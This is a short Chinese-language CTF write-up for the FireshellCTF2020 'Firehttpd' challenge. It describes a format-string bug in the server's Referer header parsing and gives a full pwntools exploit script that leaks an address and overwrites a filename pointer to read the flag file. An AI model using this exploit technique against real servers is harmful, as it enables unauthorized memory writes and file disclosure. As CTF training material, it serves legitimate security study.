[FireshellCTF2020]Firehttpd

[FireshellCTF2020]Firehttpd

首先，检查一下程序的保护机制

然后，我们用IDA分析一下，在referer字段的解析里存在格式化字符串漏洞，由于是主进程fork子进程，因此，我们泄露的数据第二次不会改变仍然可以使用。

那么，我们利用格式化字符串漏洞，将文件名指针修改指向我们可控的地址，这样就可以读取我们想要的文件了。

#coding:utf8
from pwn import *

ip = 'node3.buuoj.cn'
port = 28726
sh = remote(ip,port)

#泄露文件名的地址
payload = 'GET /index.html HTTP/1.1\r\n'
payload += 'Referer: %5$p\r\n\r\n'
sh.send(payload)
sh.recvuntil('Referer: ')
name_addr = int(sh.recvuntil('\n',drop = True),16)
print 'name_addr=',hex(name_addr)
sh.close()

sh = remote(ip,port)
#修改文件名指针指向我们可控的地方
flag_str = name_addr - 0xA98
data = {0:0}
i = 0
flag_str = flag_str & 0xFFFF
while flag_str >0:
   data[i] = flag_str & 0xFF
   flag_str = flag_str >> 8
   i = i + 1
data = sorted(data.items(), key=lambda d:d[1])
pay = ''
prev = 9
for x in data:
   print x[0],x[1]
   pay += '%' + str(x[1]-prev) + 'c%' + str(18+x[0]) + '$hhn'
   prev = x[1]
pay = pay.ljust(47,'b')
pay += p64(name_addr - 0xB10)
pay += p64(name_addr - 0xB0F)
pay += 'flag\x00' #我们要读取的文件

payload = 'GET /index.html HTTP/1.1\r\n'
payload += 'Referer: {}\r\n\r\n'.format(pay)
sh.send(payload)

sh.interactive()